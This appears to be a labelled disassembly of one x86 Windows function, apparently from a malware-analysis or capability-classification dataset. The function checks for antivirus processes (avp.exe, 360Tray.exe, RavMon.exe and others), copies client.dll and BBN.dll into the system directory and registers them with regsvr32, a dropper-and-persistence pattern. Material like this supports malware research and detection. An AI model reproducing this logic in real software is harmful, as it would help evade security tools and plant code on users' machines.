Function at 0x413810
Capabilities:
Copy file
Create process on windows
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4f0463
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x148
mov eax, dword [0x52bd18]
push ebx
push esi
push edi
lea ecx, [esp + 0x2c]
mov dword [esp + 0x150], eax
call fcn.004ddd65
mov eax, dword [esp + 0x34]
push str.360Tray.exe
xor ebx, ebx
push eax
lea ecx, [esp + 0x34]
mov dword [esp + 0x164], ebx
call fcn.004ddfbd
mov ecx, dword [esp + 0x34]
push str.runiep.exe
push ecx
lea ecx, [esp + 0x34]
call fcn.004ddfbd
mov edx, dword [esp + 0x34]
push str.avp.exe
push edx
lea ecx, [esp + 0x34]
call fcn.004ddfbd
mov eax, dword [esp + 0x34]
push str.RavMon.exe
push eax
lea ecx, [esp + 0x34]
call fcn.004ddfbd
mov ecx, dword [esp + 0x34]
push str.ashDisp.exe
push ecx
lea ecx, [esp + 0x34]
call fcn.004ddfbd
mov dword [esp + 0x18], 0x4fe084
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], ebx
lea edx, [esp + 0x18]
push edx
mov byte [esp + 0x160], 1
call fcn.00445510
mov eax, dword [esp + 0x38]
add esp, 4
cmp eax, ebx
jle 0x4139a4
test ebx, ebx
jl 0x413c0f
cmp ebx, eax
jge 0x413c0f
mov eax, dword [esp + 0x30]
lea edi, [eax + ebx*4]
mov eax, dword [edi]
mov edx, dword [eax - 4]
mov esi, dword [eax - 0xc]
mov eax, dword [eax - 8]
mov ecx, 1
sub ecx, edx
sub eax, esi
or eax, ecx
jge 0x41391b
push esi
mov ecx, edi
call fcn.00401610
mov eax, dword [edi]
push eax
call fcn.004cf1ec
add esp, 4
test esi, esi
jl 0x413c05
mov eax, dword [edi]
cmp esi, dword [eax - 8]
jg 0x413c05
mov dword [eax - 0xc], esi
mov ecx, dword [edi]
mov byte [esi + ecx], 0
mov eax, dword [esp + 0x20]
xor edi, edi
test eax, eax
jle 0x413997
xor esi, esi
mov edi, edi
cmp ebx, dword [esp + 0x34]
jge 0x413c0f
test esi, esi
mov edx, dword [esp + 0x30]
mov ecx, dword [edx + ebx*4]
jl 0x413c0f
cmp edi, eax
jge 0x413c0f
mov eax, dword [esp + 0x1c]
mov eax, dword [esi + eax + 4]
push ecx
push eax
call fcn.004cf271
add esp, 8
test eax, eax
je 0x413b86
mov eax, dword [esp + 0x20]
inc edi
add esi, 0xc
cmp edi, eax
jl 0x413950
mov eax, dword [esp + 0x34]
inc ebx
cmp ebx, eax
jl 0x4138e4
call fcn.0047c210
push eax
lea ecx, [esp + 0x48]
call fcn.00401fd0
push str.client.dll
push eax
lea ecx, [esp + 0x14]
push ecx
mov byte [esp + 0x168], 2
call fcn.00401e30
add esp, 0xc
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
mov byte [esp + 0x15c], 4
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4139f4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
push 0x104
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
je 0x413c36
lea ecx, [esp + 0x4c]
push ecx
lea ecx, [esp + 0x4c]
call fcn.00401fd0
push str.BBN.dll
push eax
lea edx, [esp + 0x48]
push edx
mov byte [esp + 0x168], 5
call fcn.00401e30
add esp, 0xc
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
mov byte [esp + 0x15c], 7
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413a61
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
call fcn.004195d0
mov ebx, dword [esp + 0x48]
mov eax, dword [eax]
add esp, 8
push 0
push ebx
push eax
call edi
mov esi, eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413a9f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
test esi, esi
je 0x413c14
push 0x4fcfd4
lea ecx, [esp + 0x18]
call fcn.00401fd0
lea ecx, [esp + 0x40]
push ecx
push eax
lea edx, [esp + 0x18]
push edx
mov byte [esp + 0x168], 8
call fcn.00409450
mov eax, dword [eax]
add esp, 0xc
push 1
lea ecx, [esp + 0x50]
push ecx
push eax
push str.regsvr32.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413b0a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x15c], 7
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b30
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [ebx - 0x10]
mov byte [esp + 0x15c], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b52
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov byte [esp + 0x15c], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413b78
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea ecx, [esp + 0x18]
call fcn.00411e40
jmp 0x413db0
mov eax, dword [esp + 0x1c]
test eax, eax
mov byte [esp + 0x15c], 0
mov dword [esp + 0x18], 0x4fe084
je 0x413db0
mov eax, dword [esp + 0x20]
xor ebx, ebx
test eax, eax
jle 0x413da3
xor edi, edi
mov ecx, dword [esp + 0x1c]
mov eax, dword [edi + ecx + 8]
lea esi, [edi + ecx]
sub eax, 0x10
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x413bd7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esi + 4]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413bf4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x20]
inc ebx
add edi, 0xc
cmp ebx, eax
jl 0x413bb2
jmp 0x413da3
push 0x80070057
call fcn.00401110
jmp fcn.004dced3
lea eax, [ebx - 0x10]
mov byte [esp + 0x15c], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413c36
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.004195d0
mov edx, dword [esp + 0x14]
mov eax, dword [eax]
add esp, 8
push 0
push edx
push eax
call edi
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413c72
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
push 0x4fcfd4
lea ecx, [esp + 0x14]
call fcn.00401fd0
lea ecx, [esp + 0xc]
push ecx
push eax
lea edx, [esp + 0x1c]
mov bl, 9
push edx
mov byte [esp + 0x168], bl
call fcn.00409450
add esp, 0xc
mov esi, dword [eax]
push 1
mov byte [esp + 0x160], 0xa
call fcn.0047c210
push eax
push esi
push str.regsvr32.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov byte [esp + 0x15c], bl
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413ce6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov byte [esp + 0x15c], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413d0c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov byte [esp + 0x15c], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413d32
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x1c]
test eax, eax
mov byte [esp + 0x15c], 0
mov dword [esp + 0x18], 0x4fe084
je 0x413db0
mov eax, dword [esp + 0x20]
xor ebx, ebx
test eax, eax
jle 0x413da3
xor edi, edi
mov eax, dword [esp + 0x1c]
lea esi, [edi + eax]
mov eax, dword [esi + 8]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413d7a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esi + 4]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x413d97
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x20]
inc ebx
add edi, 0xc
cmp ebx, eax
jl 0x413d56
mov eax, dword [esp + 0x1c]
push eax
call fcn.004df1b9
add esp, 4
lea ecx, [esp + 0x2c]
mov dword [esp + 0x15c], 0xffffffff
call fcn.004dddb7
mov ecx, dword [esp + 0x154]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x148]
pop ebx
call fcn.004ce183
add esp, 0x154
ret